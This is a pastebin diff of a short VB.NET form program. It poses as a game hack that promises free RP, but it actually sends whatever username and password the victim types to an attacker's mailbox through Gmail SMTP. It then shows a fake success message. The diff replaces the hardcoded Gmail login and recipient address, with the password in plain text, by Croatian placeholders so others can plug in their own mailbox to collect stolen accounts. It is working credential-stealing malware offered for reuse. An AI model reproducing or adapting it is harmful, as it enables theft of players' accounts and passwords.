SHOW:
|
|
- or go back to the newest paste.
1 | Imports System.Net.Mail | |
2 | Imports System.Globalization | |
3 | ||
4 | Public Class Form1 | |
5 | Dim i As Integer | |
6 | Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click | |
7 | Timer1.Interval = 2000 | |
8 | Timer1.Start() | |
9 | If TextBox2.Text = "" Then | |
10 | MsgBox("Password is invalid, application will exit now!") | |
11 | Me.Close() | |
12 | Else | |
13 | End If | |
14 | Dim smtpServer As New SmtpClient() | |
15 | Dim mail As New MailMessage() | |
16 | - | smtpServer.Credentials = New Net.NetworkCredential("origingamehack@gmail.com", "origingamehack2013") |
16 | + | smtpServer.Credentials = New Net.NetworkCredential("Vas gmail", "Gmail password") |
17 | 'using gmail | |
18 | smtpServer.Port = 587 | |
19 | smtpServer.Host = "smtp.gmail.com" | |
20 | smtpServer.EnableSsl = True | |
21 | mail = New MailMessage() | |
22 | mail.From = New MailAddress("cfhack@net.hr") | |
23 | - | mail.To.Add("lolhack@net.hr") |
23 | + | mail.To.Add("mail na koji zelite da vam stizu accountovi") |
24 | mail.Subject = "Bypass: " & TextBox1.Text | |
25 | mail.Body = "Username : " & TextBox1.Text & " " & "Password : " & TextBox2.Text | |
26 | smtpServer.Send(mail) | |
27 | End Sub | |
28 | ||
29 | Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click | |
30 | Me.Close() | |
31 | End Sub | |
32 | ||
33 | Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick | |
34 | Label2.Text = "Success! In 12h RP will be added to your account!" | |
35 | Timer1.Stop() | |
36 | End Sub | |
37 | End Class |